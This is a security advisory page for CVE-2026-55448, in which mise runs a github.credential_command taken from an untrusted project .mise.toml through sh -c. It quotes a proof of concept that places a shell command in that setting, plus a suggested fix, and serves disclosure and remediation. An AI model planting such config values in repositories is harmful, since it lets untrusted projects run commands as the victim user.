CVE-2026-55448: Mise Mise's Local Credential_command Executes Untrusted Vulnerability

MODERATE
Advisory Identifier: GHSA-29hf-rm4x-xxph
CVSS 6.3
CWE-78
Published
Advisory Summary

CVE-2026-55448 is a MODERATE (CVSS 6.3) mise's local credential_command executes untrusted vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Mise libraries in the crates.io ecosystem. The issue involves mise's local credential_command executes untrusted config. Remediation is available by upgrading affected packages to version 2026.6.4.

CVE-2026-55448 at a Glance

CVE Identifier CVE-2026-55448
GHSA Identifier GHSA-29hf-rm4x-xxph
Severity MODERATE
CVSS v3.1 Base Score 6.3
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Mise
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 6.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Local (AV:L)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-55448

To remediate this vulnerability, upgrade all affected Mise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

mise fixed: 2026.6.4
Upgrade mise to 2026.6.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for mise

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55448, inspect your project dependencies for Mise:

inspect dependencies for mise

Analyze the terminal output to locate any version of Mise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2026.6.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Mise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `mise` loads `github.credential_command` from local project config before any trust decision, then executes that value with `sh -c` when resolving a GitHub token. An attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set. The current command-execution path is `github.credential_command`. I confirmed in Docker that the setting is exploitable on `v2026.3.15` and `v2026.3.17`, while `v2026.3.14` rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from `[settings.github]`. ### Details The vulnerable load order is: 1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads settings from local config files. 2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the local file is trusted. 3. [`resolve_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L344-L390) checks `settings.github.credential_command` after the token env vars and before file-based sources. 4. [`get_credential_command_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L558-L599) executes the value with `sh -c`. The main command-execution path is: ```rust let result = std::process::Command::new("sh") .arg("-c") .arg(cmd) .arg("mise-credential-helper") .arg(host) .output() ``` If a local project file sets: ```toml [settings.github] credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token" ``` then `resolve_token()` will reach `get_credential_command_token()` whenever higher-priority GitHub token environment variables are unset. `credential_command` is a documented custom credential source for mise, but it is also accepted from a local project `.mise.toml`, which lets an untrusted repository supply a shell command for mise to execute. ### PoC Test environment: - Docker - `linux-arm64` - `mise v2026.3.17` Negative control: ```bash export GITHUB_TOKEN=env_token mise github token --unmask ``` Observed: ```text github.com: env_token (source: GITHUB_TOKEN) /tmp/mise-proof.txt => missing ``` Primary exploit: ```toml [settings.github] credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token" ``` Run: ```bash unset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN mise github token --unmask ``` Observed: ```text github.com: ghp_fake_token (source: credential_command) ``` And the side effect file is created: ```text /tmp/mise-proof.txt => credential_command_rce ``` Related version check: - `v2026.3.14`: `credential_command` is rejected as an unknown field - `v2026.3.15`: the same PoC executes and returns `source: credential_command` ### Impact An attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings. Demonstrated impact: - arbitrary command execution as the victim user - no trust prompt - no need for `[env]`, `[hooks]`, tasks, or templates Important limitation: - if a higher-priority GitHub token environment variable is already set, the `credential_command` path is not reached ### Suggested Fix Do not honor `github.credential_command` from non-global project config files. For example, inside `parse_settings_file()`: ```rust pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> { let raw = file::read_to_string(path)?; let settings_file: SettingsFile = toml::from_str(&raw)?; let mut settings = settings_file.settings; if !config::is_global_config(path) { settings.github.credential_command = None; } Ok(settings) } ```

CVE-2026-55448 Affected Mise Versions

1 component(s)
Fixed Versions:
2026.6.4
Product / Package Ecosystem Affected Versions Fixed Version
mise
crates.io
≥ 2026.3.15
< 2026.6.4
2026.6.4

References

Frequently Asked Questions

What is CVE-2026-55448?
CVE-2026-55448 is a security vulnerability in Mise involving Mise's local credential_command executes untrusted config under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Mise versions are affected?
Affected versions include releases prior to 2026.6.4 across affected packages: mise.
What version fixes CVE-2026-55448?
Upgrading to 2026.6.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is mise affected?
Yes, mise is affected in releases prior to 2026.6.4. Upgrade your dependency to 2026.6.4 or later.
What is the CVSS score of CVE-2026-55448?
CVE-2026-55448 has a CVSS v3.1 base score of 6.3 (MODERATE) with vector string CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with CVE-2026-55448?
CVE-2026-55448 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check crates.io dependencies for CVE-2026-55448?
Run the dependency tree command: 'inspect dependencies for mise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-29hf-rm4x-xxph",
  "modified" : "2026-06-23T18:24:28Z",
  "published" : "2026-06-23T18:24:28Z",
  "aliases" : [ "CVE-2026-55448" ],
  "summary" : "Mise's local credential_command executes untrusted config",
  "details" : "### Summary\n\n`mise` loads `github.credential_command` from local project config before any trust decision, then executes that value with `sh -c` when resolving a GitHub token. An attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.\n\nThe current command-execution path is `github.credential_command`. I confirmed in Docker that the setting is exploitable on `v2026.3.15` and `v2026.3.17`, while `v2026.3.14` rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from `[settings.github]`.\n\n### Details\n\nThe vulnerable load order is:\n\n1. [`Settings::try_get()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L254-L283) preloads settings from local config files.\n2. [`parse_settings_file()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/config/settings.rs#L505-L510) returns `settings_file.settings` without checking whether the local file is trusted.\n3. [`resolve_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L344-L390) checks `settings.github.credential_command` after the token env vars and before file-based sources.\n4. [`get_credential_command_token()`](https://github.com/jdx/mise/blob/37997e70cd2216d1a86726fba0c8c09c3986ad06/src/github.rs#L558-L599) executes the value with `sh -c`.\n\nThe main command-execution path is:\n\n```rust\nlet result = std::process::Command::new(\"sh\")\n    .arg(\"-c\")\n    .arg(cmd)\n    .arg(\"mise-credential-helper\")\n    .arg(host)\n    .output()\n```\n\nIf a local project file sets:\n\n```toml\n[settings.github]\ncredential_command = \"echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token\"\n```\n\nthen `resolve_token()` will reach `get_credential_command_token()` whenever higher-priority GitHub token environment variables are unset. `credential_command` is a documented custom credential source for mise, but it is also accepted from a local project `.mise.toml`, which lets an untrusted repository supply a shell command for mise to execute.\n\n### PoC\n\nTest environment:\n\n- Docker\n- `linux-arm64`\n- `mise v2026.3.17`\n\nNegative control:\n\n```bash\nexport GITHUB_TOKEN=env_token\nmise github token --unmask\n```\n\nObserved:\n\n```text\ngithub.com: env_token (source: GITHUB_TOKEN)\n/tmp/mise-proof.txt => missing\n```\n\nPrimary exploit:\n\n```toml\n[settings.github]\ncredential_command = \"echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token\"\n```\n\nRun:\n\n```bash\nunset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN\nmise github token --unmask\n```\n\nObserved:\n\n```text\ngithub.com: ghp_fake_token (source: credential_command)\n```\n\nAnd the side effect file is created:\n\n```text\n/tmp/mise-proof.txt => credential_command_rce\n```\n\nRelated version check:\n\n- `v2026.3.14`: `credential_command` is rejected as an unknown field\n- `v2026.3.15`: the same PoC executes and returns `source: credential_command`\n\n### Impact\n\nAn attacker who can place a `.mise.toml` in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.\n\nDemonstrated impact:\n\n- arbitrary command execution as the victim user\n- no trust prompt\n- no need for `[env]`, `[hooks]`, tasks, or templates\n\nImportant limitation:\n\n- if a higher-priority GitHub token environment variable is already set, the `credential_command` path is not reached\n\n### Suggested Fix\n\nDo not honor `github.credential_command` from non-global project config files.\n\nFor example, inside `parse_settings_file()`:\n\n```rust\npub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {\n    let raw = file::read_to_string(path)?;\n    let settings_file: SettingsFile = toml::from_str(&raw)?;\n    let mut settings = settings_file.settings;\n\n    if !config::is_global_config(path) {\n        settings.github.credential_command = None;\n    }\n\n    Ok(settings)\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "mise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2026.3.15"
      }, {
        "fixed" : "2026.6.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jdx/mise/security/advisories/GHSA-29hf-rm4x-xxph"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jdx/mise"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-23T18:24:28Z",
    "nvd_published_at" : null
  }
}